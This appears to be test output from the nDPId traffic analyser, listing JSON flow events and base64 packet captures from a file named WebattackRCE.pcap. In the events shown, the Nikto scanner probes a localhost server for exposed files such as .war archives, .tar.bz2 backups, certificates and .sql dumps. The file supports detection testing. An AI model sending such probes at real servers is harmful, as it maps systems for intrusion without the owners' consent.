+00624{"flow_id":415,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":328331,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAqSFAAEAGkxR\/AAABfwAAAcTGH5DtDpGsIyeJWoAYAED+tAAAAQEICp1m\/XidZv14R0VUIC8xMjcwLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":415,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":415,"flow_packet_id":1,"flow_first_seen":1576420277328,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50374,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":416,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":416,"flow_packet_id":1,"flow_first_seen":1576420277329,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50376,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":416,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":329673,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA2JJAAEAGY6N\/AAABfwAAAcTIH5BNx+AlanMTuoAYAED+tAAAAQEICp1m\/XmdZv15R0VUIC8xMjcwLndhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":416,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":416,"flow_packet_id":1,"flow_first_seen":1576420277329,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50376,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":417,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":417,"flow_packet_id":1,"flow_first_seen":1576420277331,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50378,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":417,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":331057,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHC9ZAAEAGMFl\/AAABfwAAAcTKH5CiFTNhL7Iog4AYAED+uwAAAQEICp1m\/XqdZv16R0VUIC8xMjcuMC4wLnRhci5iejIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":417,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":417,"flow_packet_id":1,"flow_first_seen":1576420277331,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50378,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":418,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":418,"flow_packet_id":1,"flow_first_seen":1576420277333,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50380,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":418,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":333556,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHgXtAAEAGurN\/AAABfwAAAcTMH5Cx2rnNvwRWuoAYAED+uwAAAQEICp1m\/X2dZv19R0VUIC8xMjcuMC4wLnRhci5iejIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":418,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":418,"flow_packet_id":1,"flow_first_seen":1576420277333,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50380,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":419,"flow_packet_id":1,"flow_first_seen":1576420277334,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50382,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":419,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":334962,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFmcZAAEAGomp\/AAABfwAAAcTOH5DYYKFyIBNeYIAYAED+uQAAAQEICp1m\/X6dZv1+R0VUIC8xMjdfMF8wXzEuY2VyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":419,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":419,"flow_packet_id":1,"flow_first_seen":1576420277334,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50382,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":420,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":420,"flow_packet_id":1,"flow_first_seen":1576420277336,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50384,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":420,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":336308,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFO7NAAEAGAH5\/AAABfwAAAcTQH5BUXAMIX4xO7oAYAED+uQAAAQEICp1m\/YCdZv2AR0VUIC8xMjdfMF8wXzEuY2VyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":420,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":420,"flow_packet_id":1,"flow_first_seen":1576420277336,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50384,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":421,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":421,"flow_packet_id":1,"flow_first_seen":1576420277337,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50386,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":421,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":337884,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9OaFAAEAGAph\/AAABfwAAAcTSH5DijwEqjka6TYAYAED+sQAAAQEICp1m\/YGdZv2BR0VUIC8wLnNxbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":421,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":421,"flow_packet_id":1,"flow_first_seen":1576420277337,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50386,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":422,"flow_packet_id":1,"flow_first_seen":1576420277339,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50388,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":422,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":339492,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9fmNAAEAGvdV\/AAABfwAAAcTUH5Bm6EbY23UeBoAYAED+sQAAAQEICp1m\/YOdZv2DR0VUIC8wLnNxbCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":422,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":422,"flow_packet_id":1,"flow_first_seen":1576420277339,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50388,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":423,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":423,"flow_packet_id":1,"flow_first_seen":1576420277340,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50390,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":423,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":340964,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF759AAEAGTJF\/AAABfwAAAcTWH5AedNcrGvcoYYAYAED+uQAAAQEICp1m\/YSdZv2ER0VUIC8xMjdfMF8wXzEuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":423,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":423,"flow_packet_id":1,"flow_first_seen":1576420277340,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50390,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":424,"flow_packet_id":1,"flow_first_seen":1576420277342,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50392,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":424,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":342249,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFUDJAAEAG6\/5\/AAABfwAAAcTYH5DWhmiIUA3tU4AYAED+uQAAAQEICp1m\/YadZv2GR0VUIC8xMjdfMF8wXzEuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":424,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":424,"flow_packet_id":1,"flow_first_seen":1576420277342,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50392,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":425,"flow_packet_id":1,"flow_first_seen":1576420277343,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50394,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":425,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":343500,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA2wlAAEAGYSx\/AAABfwAAAcTaH5BjP+Ox5vZroYAYAED+tAAAAQEICp1m\/YedZv2HR0VUIC9zaXRlLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":425,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":425,"flow_packet_id":1,"flow_first_seen":1576420277343,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50394,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":426,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":426,"flow_packet_id":1,"flow_first_seen":1576420277344,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50396,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":426,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":344673,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAn6BAAEAGnJV\/AAABfwAAAcTcH5DwnKcnILktrYAYAED+tAAAAQEICp1m\/YidZv2IR0VUIC9zaXRlLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":426,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":426,"flow_packet_id":1,"flow_first_seen":1576420277344,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50396,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":427,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":427,"flow_packet_id":1,"flow_first_seen":1576420277345,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50398,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":427,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":345789,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/HTtAAEAGHvx\/AAABfwAAAcTeH5D3FiWCONN3YoAYAED+swAAAQEICp1m\/YmdZv2JR0VUIC8xMjcud2FyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":427,"flow_packet_id":1,"flow_first_seen":1576420277345,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50398,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 